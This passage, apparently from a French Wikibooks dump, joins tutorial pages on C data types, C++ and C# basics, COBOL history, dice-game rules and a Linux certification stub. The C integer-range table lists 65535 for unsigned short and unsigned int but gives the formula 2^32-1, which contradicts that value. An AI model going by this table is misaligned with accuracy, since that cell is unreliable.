text-align:center; font-weight:bold;" | Borne supérieure ! style="background:#D0E2EE; text-align:center; font-weight:bold;" | Borne supérieure (formule) |- | bgcolor="#EAF5FB" |<code style="background:inherit">signed char</code> | bgcolor="#FAF9EC" |-127 | bgcolor="#EAF5FB" |-(2<sup>7</sup>-1) | bgcolor="#FAF9EC" |+127 | bgcolor="#EAF5FB" |2<sup>7</sup>-1 |----- | bgcolor="#EAF5FB" |<code style="background:inherit">unsigned char</code> | bgcolor="#FAF9EC" |0 | bgcolor="#EAF5FB" |0 | bgcolor="#FAF9EC" |+255 | bgcolor="#EAF5FB" |2<sup>8</sup>-1 |----- | bgcolor="#EAF5FB" |<code style="background:inherit">short</code> | bgcolor="#FAF9EC" |-32767 | bgcolor="#EAF5FB" |-(2<sup>15</sup>-1) | bgcolor="#FAF9EC" |+32767 | bgcolor="#EAF5FB" |2<sup>15</sup>-1 |- | bgcolor="#EAF5FB" |<code style="background:inherit">unsigned short</code> | bgcolor="#FAF9EC" |0 | bgcolor="#EAF5FB" |0 | bgcolor="#FAF9EC" |+65535 | bgcolor="#EAF5FB" |2<sup>32</sup>-1 |----- | bgcolor="#EAF5FB" |<code style="background:inherit">int</code> | bgcolor="#FAF9EC" |-32767 | bgcolor="#EAF5FB" |-(2<sup>15</sup>-1) | bgcolor="#FAF9EC" |+32767 | bgcolor="#EAF5FB" |2<sup>15</sup>-1 |- | bgcolor="#EAF5FB" |<code style="background:inherit">unsigned int</code> | bgcolor="#FAF9EC" |0 | bgcolor="#EAF5FB" |0 | bgcolor="#FAF9EC" |+65535 | bgcolor="#EAF5FB" |2<sup>32</sup>-1 |----- | bgcolor="#EAF5FB" |<code style="background:inherit">long</code> | bgcolor="#FAF9EC" |-2147483647 | bgcolor="#EAF5FB" |-(2<sup>31</sup>-1) | bgcolor="#FAF9EC" |+2147483647 | bgcolor="#EAF5FB" |2<sup>31</sup>-1 |- | bgcolor="#EAF5FB" |<code style="background:inherit">unsigned long</code> | bgcolor="#FAF9EC" |0 | bgcolor="#EAF5FB" |0 | bgcolor="#FAF9EC" |+4294967295 | bgcolor="#EAF5FB" |2<sup>32</sup>-1 |----- | bgcolor="#EAF5FB" |<code style="background:inherit">long long</code> | bgcolor="#FAF9EC" |-9223372036854775807 | bgcolor="#EAF5FB" |-(2<sup>63</sup>-1) | bgcolor="#FAF9EC" |+9223372036854775807 | bgcolor="#EAF5FB" |2<sup>63</sup>-1 |- | bgcolor="#EAF5FB" |<code style="background:inherit">unsigned&nbsp;long&nbsp;long</code> | bgcolor="#FAF9EC" |0 | bgcolor="#EAF5FB" |0 | bgcolor="#FAF9EC" |+18446744073709551615 | bgcolor="#EAF5FB" |2<sup>64</sup>-1 |} Cette table signifie qu'un programme peut utiliser sans problème une variable de type <code>int</code> pour stocker la valeur 2<sup>15</sup>-1, quelque soit le compilateur ou la machine sur laquelle va tourner le programme. Par contre, une implémentation C <em>peut</em> fournir des domaines de valeurs plus larges que ceux indiqués au-dessus (un <code>int</code> pourrait aller de -(2<sup>31</sup>-1) à 2<sup>31</sup>-1, par exemple<ref name="domaineEntier">La norme C contraint les domaines de valeurs des types signés entre -(2<sup>N</sup>-1) et 2<sup>N</sup>-1, où N est un entier quelconque, et les types non signés entre 0 et 2<sup>N</sup>-1.</ref>), et un programme tournant sur une telle implémentation peut alors utiliser ces valeurs, mais il perdrait en portabilité. Par ailleurs, une relation d'ordre entre ces domaines de valeurs est garantie ; qui peut être exprimée ainsi : <pre> domaine(char) ≤ domaine(short) ≤ domaine(int) ≤ domaine(long) ≤ domaine(long long)</pre> Cela signifie que toutes les valeurs possibles pour une variable du type <code>char</code> sont aussi utilisables pour les autres types&nbsp;; mais aussi que, par exemple, une valeur valide pour le type <code>int</code> peut ne pas être représentable dans une variable de type <code>short</code>. Si vous ne savez pas quel type donner à une variable de type entier, le type <code>int</code> est par défaut le meilleur choix (à condition que votre donnée ne dépasse pas 2<sup>15</sup>-1)&nbsp;: ce type est la plupart du temps représenté au niveau matériel par un «&nbsp;mot machine&nbsp;», c'est-à-dire qu'il est adapté à la taille que la machine peut traiter directement (il fait usuellement 32 bits sur un PC 32 bits, par exemple). Cela permet un traitement plus rapide par le matériel. De plus, beaucoup de bibliothèques (que ce soit celle fournie par le langage C ou d'autres) utilisent ce type pour passer des entiers, ce qui fait que l'utilisation de ces bibliothèques sera plus aisée. Par ailleurs, un utilisateur peut connaître les domaines de valeurs exacts de sa machine en utilisant l'en-tête <code><limits.h></code>. ===Constantes=== Il existe différentes suites de caractères qui sont reconnues comme étant des constantes entières&nbsp;: *un nombre en notation «&nbsp;normale&nbsp;»&nbsp;: une suite de chiffres&nbsp;; *le caractère «&nbsp;0&nbsp;» suivi d'un nombre en notation octale&nbsp;: une suite de chiffres compris entre 0 et 7&nbsp;; *les caractères «&nbsp;0x&nbsp;» suivi d'un nombre en notation hexadécimale&nbsp;: une suite de chiffres et des lettres a, b, c, d, e, f (ou A, B, C, D, E, F). Chacune de ces notations peut être précédée du symbole «&nbsp;moins&nbsp;» pour indiquer un entier négatif. Par défaut, une constante numérique est de type <code>int</code> et, si la valeur de la constante est trop grande pour le type <code>int</code>, elle prend celle du type «&nbsp;plus grand&nbsp;» suffisant. Comme les domaines de valeurs des types peuvent varier suivant la machine, le type effectif d'une constante peut lui aussi varier. Cela peut s'avérer problématique lors de passage de paramètres à des fonctions à nombre variable d'arguments, par exemple. Dans ce cas, il peut être judicieux de forcer le type de la constante en la '''postfixant''' des attributs suivants&nbsp;: * <code>U</code>&nbsp;: la constante sera non-signée (voir la section [[Programmation C Opérateurs|promotion]] pour comprendre les implications). * <code>L</code>&nbsp;: la constante sera de type <code>long</code> au lieu de <code>int</code>. * <code>LL</code> est une extension C99 qui déclare une constante de type <code>long long</code>. <code>U</code> peut être combiné à <code>L</code> et <code>LL</code> pour obtenir les types <code>unsigned long</code> et <code>unsigned long long</code>, respectivement. Lorsqu'une constante est suffixée, mais que sa valeur est trop grande pour le type demandé, le même processus de recherche de type «&nbsp;assez grand&nbsp;» est utilisé<ref name="typeConstateEntiere">La liste des types successifs utilisés pour déterminer le type d'une constante entière a changé entre C90 et C99. Cela n'a, quasiment tout le temps, aucune incidence, sauf pour le cas d'une constante trop grande pour le type <code>long</code>&nbsp;: en C90, le type <code>unsigned long</code> est utilisé, alors qu'en C99 le type <code>long long</code> sera utilisé. Une telle valeur sera alors signée dans un cas, et non signée dans l'autre. Dans ce cas, utiliser un siffixe adapté (<code>UL</code>, <code>LL</code> ou <code>ULL</code>) permet de s'assurer du type de la constante.</ref>. Les suffixes sont en fait une façon plus rapide de faire un transtypage. Exemples&nbsp;: <pre> unsigned long long max = ~ 0ULL; /* 18446744073709551615 si sizeof max == 8 */ long min = 1L << 31; /* -2147483648 si sizeof min == 4 */ </pre> === Débordement === Sur une machine donnée, un type entier a un domaine de valeurs fixe. Considérons qu'on travaille sur un PC en 32 bits&nbsp;: sur un tel ordinateur, le type <code>int</code> varie souvent de -2<sup>31</sup> à 2<sup>31</sup>-1<ref name="intCptA2">On suppose ici l'utilisation du [[w:Complément à 2|complément à 2]], ce qui est, et de loin, le système le plus répandu actuellement.</ref>. Cela permet de manipuler sans problème des valeurs dans ce domaine. Par contre, si on utilise des valeurs hors du domaine, par exemple 2<sup>32</sup>, et qu'on essaye de la stocker dans une variable de type <code>int</code> sur une telle machine, que se passe-t-il ? La réponse dépend du type&nbsp;: * Si on essaye d'enregistrer une valeur hors domaine dans une variable de type ''signé'' (comme dans l'exemple), la conversion est définie par l'implémentation. Cela signifie que, sur une machine particulière, le comportement pourra toujours être le même, mais pourra être différent sur une autre. * Si on essaye d'enregistrer une valeur hors domaine dans une variable de type ''non signé'' (<code>unsigned long</code>, par exemple), la conversion se fait modulo la valeur maximale représentable par ce type + 1. Exemples&nbsp;: On suppose que le type <code>unsigned char</code> est codé sur 8 bits. Alors une valeur de ce type peut aller de 0 à 2<sup>8</sup>-1, soit 255. Par la règle précédente, les conversions se feront donc modulo 255 + 1, soit 256. On considère le programme suivant&nbsp;: <pre>#include <stdio.h> int main(void) { unsigned char c = 300; /* %hhu sert à dire à printf() qu'on veut afficher un unsigned char */ printf("La variable c vaut %hhu.\n", c); c = -5; printf("La variable c vaut %hhu.\n", c); return 0; }</pre> Le résultat du programme sera&nbsp;: La variable c vaut 44. La variable c vaut 251. En effet, on a 300 - 256 = 44 et -5 + 256 = 251. De même&nbsp;: <pre> #include <stdio.h> int main(void) { signed char c = 300; /* %hhd sert à dire à printf() qu'on veut afficher un signed char */ printf("La variable c vaut %hhd.\n", c); c = -300; printf("La variable c vaut %hhd.\n", c); return 0; }</pre> Le résultat du programme peut alors être &nbsp;: La variable c vaut 44. La variable c vaut -44. Sur une telle machine, les types signés sont traités de la même manière que les types non signés. Si vous essayez de compiler ces deux programmes, votre compilateur pourra détecter les débordements et vous en avertir (GCC le fait). ==Réels== Les réels sont approximés par des décimaux, c'est-à-dire des nombres à virgule flottante. Comme dans le cas des entiers, il existe plusieurs types de nombres à virgule flottante. En voici la liste triée par précision croissante : *'''float''' ; *'''double''' ; *'''long double'''. ===Constantes=== Une suite de caractères représente une constante réelle si : *c'est une suite de chiffres séparée par un caractère « point », cette séparation pouvant s'effectuer à n'importe quel endroit de la suite (<code>0.0</code>, <code>.0</code> et <code>0.</code> représentent tous les trois le réel de valeur 0) ; *un ''nombre'' suivi d'un caractère « e » suivi d'un entier. Dans le deuxième cas, le ''nombre'' peut être soit un entier, soit un réel du premier cas. ===Arithmétique=== Une attention particulière doit être portée sur la précision des types réels. Ces différents types ne font qu'approximer l'ensemble des nombres réels, avec une précision finie. Des erreurs d'arrondis sont à prévoir, ce qui est très problématique pour des domaines qui n'en tolèrent pas (notamment pour les applications financières, il est conseillé de ne pas utiliser les types réels du C). Le type <code>float</code> en particulier est d'une précision aléatoire, dépendante du coprocesseur utilisé. Sur une machine Intel, voici un exemple classique d'erreur à ne pas faire : <pre> float i; int j; for (j = 0, i = 0.0; j < 1000; i += 0.1, j ++); printf("i = %f\n", i); /* 99.999046 */ </pre> On constate que la précision du type <code>float</code> est (très) mauvaise, d'autant plus que la constante <code>0.1</code> se prête mal à la représentation utilisée en interne par la plupart des coprocesseurs. Il est d'ailleurs conseillé d'utiliser le type <code>double</code> autant que possible, et d'éviter de concevoir des algorithmes avec des accumulations d'erreurs infinitésimales. Le code ci-dessus aurait pu être réécrit : <pre> int i; for( i = 0; i < 1000; i ++ ) { float indice = i * 0.1; } </pre> C'est plus couteux, mais permet d'avoir une précision nettement meilleure que le code précédant. ==Caractères== Le type permettant de représenter un caractère est '''char'''. Ce type définit aussi la base de calcul pour tous les autres types du langage. Par définition, un <code>char</code> a une taille d'un <em>byte</em> (i.e. <code>sizeof(char)</code> est toujours 1). Cependant, il faut faire attention, un <em>byte</em> au sens du C n'est pas un <em>octet</em> ! En effet, un <code>char</code> occupe au minimum 8 bits, mais peut en prendre plus ! Il existe des machines ayant des <em>bytes<em> de 9 bits, ou de 16 bits plus fréquemment mais, en général, les compilateurs utilisent des <em>bytes</em> de 8 bits, à la fois par simplicité (les machines modernes fonctionnent généralement en 8, 16, 32 ou 64 bits) et pour éviter des problèmes de portabilité de code (beaucoup de code C existant repose sur l'hypothèse que les <code>char</code> font 8 bits, et risquerait de ne pas marcher sur une telle architecture). Si on reprend la relation d'ordre définie pour les entiers alors : domaine(char) ≤ domaine(short) Le type caractère peut aussi être ''signed'' ou ''unsigned''. Au contraire des autres types entiers, le type <code>char</code> peut être soit <code>signed</code>, soit <code>unsigned</code>. ===Constantes=== Une constante caractère est délimitée par des apostrophes, comme <code>'a'</code>. La valeur numérique de chaque caractère dépend du ''jeu de caractères'' de la machine&nbsp;; très souvent, ce code est basé sur l'[[w:ASCII|ASCII]] ou [[w:Unicode|Unicode]]<ref name="codeCaracteres">Le C n'impose pas de jeu de caractères précis. Cependant, en pratique, en-dehors de l'ASCII et des encodages Unicode, on ne rencontre guère que la famille de jeux de caractères [[w:EBCDIC|EBCDIC]], utilisée sur des systèmes IBM ou quelques mainframes.</ref>. Si un code ASCII est utilisé, alors <code>'a'</code> vaut 97 en C&nbsp;; mais cette valeur peut être différente dans un code différent. Exemple&nbsp;: <pre>#include <stdio.h> int main(void) { unsigned char c = 'a'; printf("Sur votre machine, la lettre 'a' a pour code %hhu.\n", c); return 0; }</pre> Le programme précédent donnera le résultat suivant sur une telle machine&nbsp;: Sur votre machine, la lettre 'a' a pour code 97. Mais, en pratique, il y a rarement besoin de connaître le jeu de caractères courant, et donc la valeur numérique des constantes caractères. ===Caractères spéciaux=== Il existe certaines constantes caractères aux significations particulières&nbsp;: {| cellpadding="2" cellspacing="0" style="border:thin black solid" | style="background:#D0E2EE; text-align:center; font-weight:bold;" |Constante | style="background:#ECE5CA; text-align:center; font-weight:bold;" |Caractère |- | bgcolor="#EAF5FB" |<code style="background:inherit"><nowiki>'\''</nowiki></code> | bgcolor="#FAF9EC" |une apostrophe |- | bgcolor="#EAF5FB" |<code style="background:inherit">'\"'</code> | bgcolor="#FAF9EC" |une guillemet |- | bgcolor="#EAF5FB" |<code style="background:inherit">'\?'</code> | bgcolor="#FAF9EC" |un point d'interrogation |- | bgcolor="#EAF5FB" |<code style="background:inherit">'\\'</code> | bgcolor="#FAF9EC" |un backslash |- | bgcolor="#EAF5FB" |<code style="background:inherit">'\a'</code> | bgcolor="#FAF9EC" |un signal sonore (ou visuel) |- | bgcolor="#EAF5FB" |<code style="background:inherit">'\b'</code> | bgcolor="#FAF9EC" |un espace arrière |- | bgcolor="#EAF5FB" |<code style="background:inherit">'\f'</code> | bgcolor="#FAF9EC" |saut au début de la page suivante |- | bgcolor="#EAF5FB" |<code style="background:inherit">'\n'</code> | bgcolor="#FAF9EC" |saut de ligne |- | bgcolor="#EAF5FB" |<code style="background:inherit">'\r'</code> | bgcolor="#FAF9EC" |un retour chariot |- | bgcolor="#EAF5FB" |<code style="background:inherit">'\t'</code> | bgcolor="#FAF9EC" |une tabulation |- | bgcolor="#EAF5FB" |<code style="background:inherit">'\v'</code> | bgcolor="#FAF9EC" |une tabulation verticale |} De plus, on peut écrire n'importe quelle valeur de caractère avec les expressions suivante&nbsp;: *<code>'\xHH'</code>, où chaque <code>H</code> représente un chiffre hexadécimal correspondant au code du caractère. Par exemple, <code>'\x61'</code> représente le caractère <code>'a'</code> (minuscule) en ASCII (car 97 = 6 * 16 + 1)&nbsp;; *<code>'\ooo'</code>, où chaque <code>o</code> représente un chiffre octal correspondant au code du caractère. ===Trigraphe=== Cette fonctionnalité obscure et peu employée est en général à éviter, car très souvent inutile, et peut causer des bugs incompréhensibles au programmeur non averti. Néanmoins de très rares programmes peuvent utiliser ce genre de fonctionnalités. Un trigraphe est simplement une suite de trois caractères qui sera remplacé par un seul ; cette fonctionnalité a été ajoutée au C pour les architectures dont l'alphabet ne dispose pas des caractères que les trigraphes remplacent. Les substitutions suivantes sont faites <em>partout</em> dans le code source (y compris les chaînes de caractères)&nbsp;: {| cellpadding="2" cellspacing="0" style="border:thin black solid" | style="background:#D0E2EE; text-align:center; font-weight:bold;" |Trigraphe | style="background:#ECE5CA; text-align:center; font-weight:bold;" |Caractère |- | bgcolor="#EAF5FB" |<code style="background:inherit">??=</code> | bgcolor="#FAF9EC" |<code style="background:inherit">#</code> |- | bgcolor="#EAF5FB" |<code style="background:inherit">??(</code> | bgcolor="#FAF9EC" |<code style="background:inherit">[</code> |- | bgcolor="#EAF5FB" |<code style="background:inherit">??)</code> | bgcolor="#FAF9EC" |<code style="background:inherit">]</code> |- | bgcolor="#EAF5FB" |<code style="background:inherit">??&lt;</code> | bgcolor="#FAF9EC" |<code style="background:inherit">{</code> |- | bgcolor="#EAF5FB" |<code style="background:inherit">??&gt;</code> | bgcolor="#FAF9EC" |<code style="background:inherit">}</code> |- | bgcolor="#EAF5FB" |<code style="background:inherit">??/</code> | bgcolor="#FAF9EC" |<code style="background:inherit">\</code> |- | bgcolor="#EAF5FB" |<code style="background:inherit">??'</code> | bgcolor="#FAF9EC" |<code style="background:inherit">^</code> |- | bgcolor="#EAF5FB" |<code style="background:inherit">??!</code> | bgcolor="#FAF9EC" |<code style="background:inherit">~</code> |} Voici une manière de rendre illisible un programme utilisant les trigraphes&nbsp;: <pre>??=include <stdio.h> int main(void) ??< puts("Bonjour !"); return 0; ??> </pre> À noter que, par défaut, la plupart des compilateurs désactivent les trigraphes, au cas où vous ne seriez pas encore dissuadé de les utiliser. ==Chaîne de caractères== Une chaîne de caractère, comme son nom l'indique, est une suite de caractères avec la particularité d'avoir un caractère nul (0) à la fin. Une chaîne de caractère est en fait implémentée en C avec un tableau de type <code>char</code>. Sous sa forme la plus simple, on déclare une chaîne comme une suite de caractères entre guillemets (double quote) : <pre> "Ceci est une chaîne de caractère"; ""; /* Chaîne vide */ </pre> Si la chaîne est trop longue, on peut aussi la couper sur plusieurs lignes : <pre> "Ceci est une chaîne de caractère, " /* pas de ; */ "déclarée sur plusieurs lignes."; </pre> Deux chaînes côtes à côtes (modulo les espaces et les commentaires) seront concaténées par le compilateur. De plus on peut utiliser le caractère barre oblique inverse (\) pour annuler la signification spéciale de certains caractères ou utiliser des caractères spéciaux (C.f liste ci-dessus). <code> "Une chaîne avec des \"guillemets\" et une barre oblique (\\)\n"; </code> Les chaînes de caractères faisant appel aux concepts de pointeur, tableau et de zone mémoire statique, leur utilisation plus poussée sera décrite dans la section dédiée aux [[Programmation C Tableaux|tableaux]]. À noter la représentation '''obsolète''' des chaînes de caractères multilignes. À éviter dans la mesure du possible : <pre> /* Ce code est obsolète et à éviter */ "Ceci est une chaîne de caractère, déclarée sur plusieurs lignes"; </pre> ==Booléens== Le langage (jusqu'à la norme C99) ne fournit pas de type booléen, la valeur entière 0 prend la valeur de vérité ''faux'' et toutes les autres valeurs entières prennent la valeur de vérité ''vrai''. La norme C99 a introduit le type <code>_Bool</code>, qui peut contenir les valeurs 0 et 1. Elle a aussi ajouté l'en-tête <code>stdbool.h</code>, qui définit le type <code>bool</code> qui est un raccourci pour <code>_Bool</code>, et les valeurs <code>true</code> et <code>false</code><ref name="stdbool">Ces trois expressions sont définies sous formes de macro pour le préprocesseur.</ref>. Néanmoins, ces nouveautés du C99 ne sont pas très utilisées, les habitudes ayant été prises d'utiliser 0 et ''différent de zéro'' pour les booléens en C. ==Vide== En plus de ces types, le langage C fournit un autre type, <code>void</code> qui représente ''rien'', le ''vide''. Il n'est pas possible de déclarer une variable de type <code>void</code>. Nous verrons l'utilité de ce type lorsque nous parlerons de [[Programmation C Fonctions et procédures|fonctions]] et de [[Programmation C Pointeurs|pointeurs]]. == Notes == <references /> Programmation C plus plus 401 35561 2006-03-02T14:49:29Z Merrheim 1032 {{Programmation C++}} {| width="70%" border="0" cellspacing="0" cellpadding="5" |- | bgcolor="#E0E0F0" align="center" colspan="2" | {| width="100%" bgcolor="#E0E0F0" |- | bgcolor="#E0E0F0" valign="middle" width="90%" align="center" | <font size="+1">Programmation C++ </font> ''Un livre appartenant à la série [[Programmation]] du [[Département informatique/Bibliothèque|Département informatique]]<br/> et à l'[[Accueil/Informatique|étagère Informatique]] de [[Accueil|Wikilivres]]''. |- |} |- bgcolor="lightyellow" valign="top" colspan="2" | {{Sous section|nom=Programmation C++/Sommaire|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} |- | colspan="2" align="center" | {| |- | align="left" | |- |} |- |} [[de:C-PlusPlus-Programmierung]] [[en:Programming:C_plus_plus]] [[es:Programación en C Más Más]] [[pl:Programowanie:C plus plus]] Programmation C plus plus Introduction 402 37319 2006-03-13T07:59:17Z Merrheim 1032 /* Les apports du C++ par rapport au C */ {{Programmation C++}} ==Introduction== ===Quelques repères historiques=== A l'origine, un ordinateur ne comprenait que le langage binaire : un programme était constitué d'une suite de 0 et de 1 représentant un programme. Le programmeur devait lui-même traduire son programme sous cette forme. En 1950, Alan Turing et Maurice V.Wilkes de l'université de Cambridge branchent un clavier à un ordinateur, il est dorénavant possible de rentrer des mots associés au langage machine. Par exemple : mov, load, sub… Ces mots ne sont pas compris par l’ordinateur qui ne comprend que le langage binaire. Il faut alors un « assembleur » qui transforme le code en langage binaire. La nécessité de créer un langage de haut niveau se fait sentir, le [[Programmation Fortran|FORTRAN]] (FORmula TRANslator, traducteur de formules) est créé en 1957. Il est utilisé pour des programmes mathématiques et scientifiques. En 1970, Ken Thompson, créa un nouveau langage : Le B, descendant du BCPL (Basic Combined Programming Language, créé en 1967 par Martin Richards). Son but était de créer un langage simple, malheureusement, son langage fût trop simple et trop dépendant de l’architecture utilisée… En 1971 Dennis Ritchie commence à mettre au point le successeur du B, le [[Programmation C|C]]. Le résultat est convaincant : Le C est totalement portable (il peut fonctionner sur tous les types de machines et de systèmes), il est de bas niveau (il peut créer du code aussi rapide que de l’assembleur) et il permet de traiter des problèmes de haut niveau. Le C permet de quasiment tout faire, du driver au jeu. Le C devient très vite populaire, tout le monde veut créer sa version. Beaucoup de compilateurs qui voient le jour sont incompatibles entre eux et la portabilité est perdue. Il est décidé qu’il faut un standard pour le C. L'ANSI (American National Standards Institute) s’en charge en 1983. La plupart des compilateurs se conforment à ce standard. Un programme écrit en C ANSI est compatible sur tous les compilateurs. Il manque la programmation orientée objet au C. C’est pourquoi, Bjarne Stroustrup des laboratoires Bell crée le [[Programmation C plus plus|C++]]. Le développement a commencé au début de années 80. Il construit donc le C++ sur la base du C. Il garde une forte compatibilité avec le C. Les langages C et C++ sont les langages les plus utilisés dans le monde de la [[Programmation|programmation]]. ===Présentation du C++=== Le C++ est un langage orienté objet. Il implémente la notion typage strict, de classe, d'encapsulation, de surcharge d'opérateurs, d'héritage, simple ou multiple, de virtualité et d'abstraction. Il est largement compatible avec le langage C, ce qui est à la fois une richesse et un problème. En effet, le langage C est actuellement (en 2006) un langage largement utilisé pour écrire des systèmes d'exploitation (Windows, Linux, Max OS). Le C++ peut donc très natuellement avoir un accès direct au système d'exploitation dans le cadre d'une programmation de bas niveau, tout en permettant une programmation de haut niveau en exploitant toute la richesse des concepts orientés objet. === Les apports du C++ par rapport au C=== Le C++ a apporté par rapport au langage C les notions suivantes : * les concepts orientés objet. * les références. * à compléter Programmation C sharp 403 38906 2006-03-27T13:00:13Z 83.205.134.250 La langue C# est similaire à [[Programmation Java|Java]] et développé par Microsoft. Il est donc précompilé en MSIL (Microsoft Intermediate Language), puis exécuté sur une machine virtuelle, ou compilé en code natif à l'exécution. Il dispose d'un ramasse-miettes (''garbage collector''). Il utilise l'API .NET en remplacement des MFC. Il semble être le nouveau langage pour développer des applications Windows, avec [[Programmation Visual Basic|Visual Basic]]. Le but de ces tutoriaux n'est pas de vous fournir un cours complet sur le langage C#. Vous trouverez un cours en français à cette adresse : http://www.labo-dotnet.com/desktopmodules/LaboDotnet.Articles/contentfiles/pdf/csharp.pdf ===Mon Premier programme=== Enregistrez le listing suivant dans un document texte, intitulé par exemple « helloworld.cs » : <csharp>using System; public class MonPremierProgramme { public static void Main() { Console.WriteLine("Hello world !"); } }</csharp> Lancez la compilation du code source à l'aide de la ligne : <bash>mcs helloworld.cs</bash> Le compilateur C# a créé un exécutable pour Mono, vous pouvez alors exécuter votre application : <bash>mono helloworld.exe</bash> ===Ma première bibliothèque=== Écrivons une bibliothèque contenant une classe, déclarée dans le namespace « MyLib » : <csharp>namespace MyLib { public class B { public string Nom { get{return "un objet B";} } } }</csharp> Compilez votre bibliothèque en ligne de commande : <bash>mcs -target:library MyLib.cs</bash> Le compilateur C# ne créait plus un exécutable avec l'extension « .exe » mais une bibliothèque avec l'extension « .dll », ici « MyLib.dll ». Votre bibliothèque fonctionne désormais comme toutes les autres bibliothèques de Mono et peut contenir autant de classes que vous le souhaitez. Voici un exemple d'utilisation : <csharp>using System; using MyLib; public class TestMyLib { public static void Main() { B varb = new B(); Console.WriteLine(varb.Nom); } }</csharp> Vous devez indiquer au compilateur C# où se trouve le namespace « MyLib » (qui ne fait pas parti des bibliothèques standards de Mono), en ajoutant une référence avec l'option « -r » : <bash>mcs TestMyLib.cs -r:MyLib.dll</bash> Lors de l'exécution, mono va charger dynamiquement la classe B depuis « MyLib.dll » : <bash>mono TestMyLib.exe</bash> ===Exceptions=== * [[TUTORIAL:_Exceptions| Exceptions en C#]] ===Interopérabilité=== * [[TUTORIAL:_Interop|Appeler une bibliothèque native]] * [[TUTORIAL:_Services_web|Exemple de service web]] ===Introspection=== * [[TUTORIAL:_Introspection| Un premier exemple]] * [[TUTORIAL:_Système_Plugin| Un système de plugin]] * [[TUTORIAL:_Méta_données| Utilisation des méta-données]] ===Documentation=== * [[Tutorial:tags| Utilisation des tags de documentation]] ==Outils== * [[OUTIL:_mcs|Le compilateur C# de Mono mcs]] * [[TUTORIAL:_NUnit|les tests unitaires avec NUnit]] ==Bibliothèques== ===XML=== * [[TUTORIAL:_XPath| Utilisation de XPath avec C#]] [[de:Programmierkurs C-Sharp]] [[en:C Sharp Programming]] [[nl:Programmeren_in_CSharp]] Programmation Cobol 404 36077 2006-03-05T16:11:06Z Zulul 474 /* LIENS */ Cobol est le nom d'un langage de programmation et un acronyme signifiant COmmon Business Oriented Language. Le langage de programmation Cobol a initialement été créé en 1959 par le Short Range Committee, un des trois comités proposés à une rencontre au Pentagone en mai 1959 organisée par Charles Phillips du département de la défense des États-Unis. Le comité a été formé pour recommander une approche à court terme pour un langage commun destiné aux entreprises. Il était constitué de membres représentant six constructeurs d'ordinateurs et trois agences gouvernementales. Les six constructeurs informatiques étaient Burroughs Corporation, IBM, Minneapolis-Honeywell, RCA, Sperry Rand, et Sylvania Electric Products. Les trois agences du gouvernement étaient le US Air Force, le David Taylor Model Basin, et le National Bureau of Standards. Ce comité était présidé par un membre du NBS. Des comités à moyen et long terme ont également été proposés au Pentagone. Par contre, même si le premier a été fondé, il n'a jamais été opérationnel, et le dernier n'a jamais été fondé. En fin de compte, un sous-comité du Short Range Committee a été formé avec six membres : William Selden et Gertrude Tierney de IBM. Howard Bromberg et Howard Discount de RCA. Vernon Reeves et Jean E. Sammet de Sylvania Electric Products. Ce sous-comité a complété les spécifications de Cobol alors que l'année 1959 prenait fin. Celles-ci furent approuvées par le comité complet. À partir de ce moment, les spécifications furent approuvées par le comité exécutif en janvier 1960 et envoyées au bureau d'impression du gouvernement qui les édita et imprima en les nommant Cobol 60. Le langage fut développé en moins de six mois de travail, et il est encore en utilisation plus de 40 ans après. Cobol, comme défini dans la spécification originale, possédait d'excellentes capacités d'auto-documentation, des bonnes méthodes de gestion des fichiers et des types de données exceptionnellement bons pour l'époque, grâce à l'utilisation de la clause PICTURE pour détailler le format d'un champ. Par contre, par rapport aux standards de programmation modernes, il a de sérieuses imperfections, notamment une syntaxe qui est très près du langage naturel, l'incapacité de définir des variables locales, des fonctions récursives et d'allouer de la mémoire dynamiquement. Son manque de support de la programmation orientée objet est compréhensible, puisque le concept était inconnu à cette époque. Le Cobol définit beaucoup de mots réservés, et il est difficile d'éviter d'en utiliser un par erreur sans avoir recours à une convention comme l'ajout d'un préfixe à tous les noms de variable. Les spécifications originales du COBOL supportaient même la modification du code pendant l'exécution à l'aide du fameux énoncé ALTER X TO PROCEED TO Y (altérer X pour faire Y). Conséquemment, peu de nouveau code est écrit en COBOL. Toutefois, les spécifications ont été redéfinies au travers des années pour remédier à certaines particularités qui faisaient l'objet de critiques. Les plus récentes versions du langage ont donc réglé plusieurs manques, par exemple en ajoutant des structures de contrôle améliorées, l'orientation vers l'objet et en supprimant la possibilité de modifier le code à l'exécution. Plusieurs programmes Cobol sont toujours en utilisation dans des entreprises majeures, notament dans les institutions financières. Certains pensent que l'utilisation d'une arithmétique de décimales en série a rendu les programmes plus vulnérables à des problèmes tels que le bogue de l'an 2000. Par contre, le gestion des décimales du Cobol évite plusieurs problèmes qui peuvent arriver lors de l'utilisation de nombre à virgule flotante pour les calculs financiers. =Liens= *[[Programmation Cobol ANS 75|Cobol ANS 75]] Boîte à jeux/Buckdice 408 27257 2005-12-21T23:23:07Z François Haffner 951 [[Boite à jeux/Buckdice]] déplacé vers [[Boîte à jeux/Buckdice]] ==BUCK DICE== Un joueur lance un dé : le chiffre sorti sera celui retenu « ATOUT » pour la partie. Ensuite, chaque joueur lance 3 dés et marque un point chaque fois que le chiffre « ATOUT» est sorti. Chaque joueur joue à son tour. Le gagnant est celui qui a obtenu le premier 15 points. Le joueur qui dépasse 15 voit son dernier coup annulé. Les brelans comptent 5 points. Le brelan d'atout gagne la partie, même s'il y a déjà des points de marqués. {{BoiteJeux}} Boîte à jeux/Sept 409 27260 2005-12-21T23:23:43Z François Haffner 951 [[Boite à jeux/Sept]] déplacé vers [[Boîte à jeux/Sept]] == SEPT == Se joue avec 2 dés Au préalable, on aura préparé une feuille de papier divisée en 2 parties dans le sens de la longueur : - une colonne marquée manque (2 à 6) - l'autre colonne marquée passe (numéros 8 à 12). Un joueur désigne le banquier, à tour de rôle, et règle le jeu. Les autres joueurs placent leur mise ou jetons sur une des deux colonnes puis le banquier jette les dés. On additionne les points donnés par les dés dont le total forme le numéro gagnant. Si le numéro gagnant est dans la colonne manque, les joueurs ayant misé sur celle-ci reçoivent autant de jetons que la mise initiale qu'ils ont joué. Les jetons figurant sur la colonne passe sont retirés par le banquier et mis à la disposition de la banque {{BoiteJeux}} Certifications Linux 411 12156 2004-09-17T12:47:28Z Yann 2 Certifications Linux déplacé vers Certifications Linux LPI #REDIRECT [[Certifications Linux LPI]] LPIC1 examen 102 412 29219 2006-01-17T21:43:18Z JMRyan 1016 Lien à la version anglaise. {{LPIC}} {{Avertissement LPI}} Ce livre fait partie de la '''[[Certifications Linux LPI|certification Linux]]''' de Linux Professional Institute (LPI). Il est destiné à aider à la préparation de l'examen 102 pour la certification LPIC1 